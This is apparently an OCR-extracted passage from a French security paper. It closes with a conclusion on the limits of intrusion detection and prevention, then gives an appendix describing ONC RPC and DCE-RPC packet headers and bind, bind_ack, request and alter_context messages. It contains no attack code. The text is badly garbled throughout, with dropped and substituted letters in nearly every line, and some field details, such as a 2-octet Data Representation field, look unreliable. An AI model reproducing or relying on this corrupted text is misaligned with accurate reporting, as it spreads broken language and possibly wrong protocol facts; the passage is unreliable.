ensuite dans la compehension de ces limites.

Rejeter d'un bloc tout un pan fonctionnel de la scurie qu e repesentent les
technologies de cetection et de pevention des intrusiors, sous le seul petexte
qu'il est possible de les contourner, est une erreur grave. Améme titre que de
leur faire une con ance aveugle.

Les outils de scurie doivent faire partie d'un plan glob al et leurs limites
doivent etre inegeesa la gestion des risques. C'esta cette condition que les
sysemes d'information peuvent &tre proeges de maniere colerente et able.
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Annexe : Rappels sur RPC

Origine et principes du protocole

RPC est un dinosaure. Pesent pour la premere foisa I' [ETF en 1988 [3]
et standardi® dans sa version actuelle en 1995 [4] [5] [6],a comme objectif de
e nir un protocole de transport des commandes et des esutats lane@s sur des
proedures distantes. Nomnme ONC RPC (Open Network Computing Remote
Procedure Call) etegalement connu sous le hom de SUN RPC ereferencea
SUN Microsystems, le protocole ¢ ni troiseements en p articulier :

{ un mockle global de communication;

{ les modes detablissement des connexions;

{ les types et formats des dierents messages.

Comprendre le protocole a n d'en exploiter les sgeci cit es ne recessite aucune-
ment de devenir un expert. Les quelquesekments importaitsa retenir sont les
suivants.

Tout d'abord RPC n'a pour objectif que de fournir un cadre pour les com-
munications entre deux proedures, soit la transmission @&s arguments et des
esultats. Le mode de traitement de ces donrees n'est abdament pas de la res-
ponsabilie de RPC. Tout au plus celui-ci met-ila disposi tion des applications
quelques messages d'erreurs ainsi qu'un optionnel necastme d'authenti cation.

DCE-RPC aet ke ni en 1997 par I'opengroup [7] et rajoute , modi e, pecise
ou amende nombre de fonctionnalies. Le principaleementa retenir est que les
deux familles de RPC sont totalement incompatibles.

Structure des paquets RPC

L'en-téte DCE-RPC Il est possible de ce nir un en-téte gereriquea l'en-
semble des communications DCE-RPC. Il contient les champsusvants :
{ Version (1 octet) : Version majeure du protocole (=5)
{ Version mineure (1 octet) : Version mineure du protocle (=0)
{ Type (1 octet) : Type de paquet, les principales valeurs soh
{ OxOb : bind request
{ 0xOc : bind ackowledgement
{ OxOe : alter context request
{ OxOf : alter context aknowledgement
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{ Flags (1 octet) : Informations diverses et varees. Nous re sommes inereses
que par les deux derniers bits repesentant les valeurq( last frag ) et
( rstfrag ).

{ Data Representation (2 octets) : De nissent I'ordre des octets (big/little
endian), le schema de repesentation des caraceres (A€Il ou EBCDIC)
et des nombresa virgule ottante (VAX, IEEE etc.).

{ Frag length (2 octets) : Taille du fragment RPC.

{ Auth length (2 octets) : Taille totale des donrees d'authe nti cation.

{ Call ID (4 octets) : Nunero d'appel... sdrement quelque chose d'impor-
tant.

bind _request Pour letablissement d'un lien avec une interface, les inbrmations
suivantes sont ajouees.
{ Taille maximale demission (2 octets) : explicite
{ Taille maximale de eception (2 octets) : idem
{ Assoc Group (4 octets) : encore un truc qu'on sait pasa quoia sert
{ Nombre de contextes requis (1 octet) : tes important, c'est ce qui permet
de demander letablissement de plusieurs liens en un seulgguet.
{ Contextes : chaque contexte de connexion contient les doees suivantes.
{ Nombre d'informations transmises (1 octet)
{ Nom de l'interface { UUID (16 octets)
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{ Version de linterface (2 octets)

{ Version mineure de l'interface (2 octets)

{ Syntaxe de transfert (16 octets)

{ Version de la syntaxe de transfert (4 octets)

bind _ack Il s'agit ici de la eponsea une demande de liaison (bindrequest).
Les trois premiers champs de la eponse((Max Xmit Frag ), ( Max Recv Frag)
et ((Assoc Group)) ont la mé&éme signi cation et longueur que dans les requéts.
lls sont suivis des champs suivants.
{ Secondary Address Length (2 octets) : taille de lI'adresseexondaire;
{ Secondary Address (variable) : adresse secondaire, don& lvaleur cepend
du protocole de transport utilie. Il s'agit du ( selector)) et il a ici la valeur
135, ce qui signi e que le port pour aceder au service est Iport 135.
{ Nombre de esultats (1 octet) : idem bind _request
{ Contextes : pour chaque contexte demancke une eponse estgreee, conte-
nant les champs suivants.
{ Resultat (2 octets) : Code de retour utili® pour identi er, si possible,
la cause d'uneventuelechec. La valeur est 0 en cas de sues.
{ Syntaxe de transfert (16 octets)
{ Version de la syntaxe de transfert (4 octets)
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procedure _request Une fois le lienetabli avec une proedure le clientemet
une requéte contenant un nunero de fonction. Les donreesspeci quesa cette
requéte sont les suivantes.

{ Alloc Hint (4 octets) : taille des donrees

{ Context ID (2 octets) : contexte auquel est le la requéte

{ Nunero d'operation { opnum (2 octets) : numero de la fonc tion appeke

{ Donrees (variable) : arguments pas®sa la fonction appeke, il est gereralement

fait ekrencea ce champ comme ( stub data ).

alter _context & alter _context _resp Ces deux paquets ont les m&mes champs
que, respectivement, bindrequest et bind.ack. Les seules dierences sont les
types de paquet dans I'en-tete RPC dont les valeurs sont 14 qur alter_context
et 15 pour alter_context_resp en cas de suces.



